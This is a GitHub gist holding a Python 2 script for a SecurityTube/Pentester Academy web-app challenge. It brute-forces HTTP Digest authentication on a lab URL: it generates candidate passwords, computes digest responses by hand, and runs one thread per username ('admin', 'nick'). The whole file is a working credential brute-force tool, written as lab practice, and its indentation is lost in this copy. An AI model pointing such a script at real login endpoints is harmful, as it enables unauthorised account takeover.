Skip to content

Instantly share code, notes, and snippets.

@yesecurity
Last active December 23, 2015 09:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yesecurity/6613597 to your computer and use it in GitHub Desktop.
Save yesecurity/6613597 to your computer and use it in GitHub Desktop.
SecurityTube WAP_Challenge 5
import sys
import requests
import md5
import itertools
from threading import Thread
from httplib2 import Http
url = "http://pentesteracademylab.appspot.com/lab/webapp/digest/1"
listp = []
a = list(itertools.product(['a','s','d'], repeat = 5))
for e in a:
a = ''.join(e)
listp.append(a)
def brute(user):
for p in listp:
zero = Http()
r = requests.get(url)
b = r.headers.get('www-authenticate', '')
g =b.split(",")[1].split("nonce=")[1]
nonce = g[1:-1]
realm = "Pentester Academy"
h1 = (user+":"+realm+":"+p)
ha1 = (md5.md5(h1).hexdigest())
method = "GET"
digestURI = "/lab/webapp/digest/1"
h2 = (method+":"+digestURI)
ha2 = (md5.md5(h2).hexdigest())
resp = (ha1+":"+nonce+":"+ha2)
response = (md5.md5(resp).hexdigest())
bal = {"Authorization" : 'Digest username="%s", realm="%s", nonce=%s, uri="%s", response="%s" ' % (user, realm, nonce, digestURI, response)}
resp , b = zero.request(url,"GET" ,"",bal)
b = resp['status']
if b != "401":
print "User = " + user
print "Password = " + p
sys.exit(0)
def main():
users = ['admin' , 'nick']
for us in users:
try:
user = us
Thread(target = brute , args = (user,)).start()
except:
pass
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment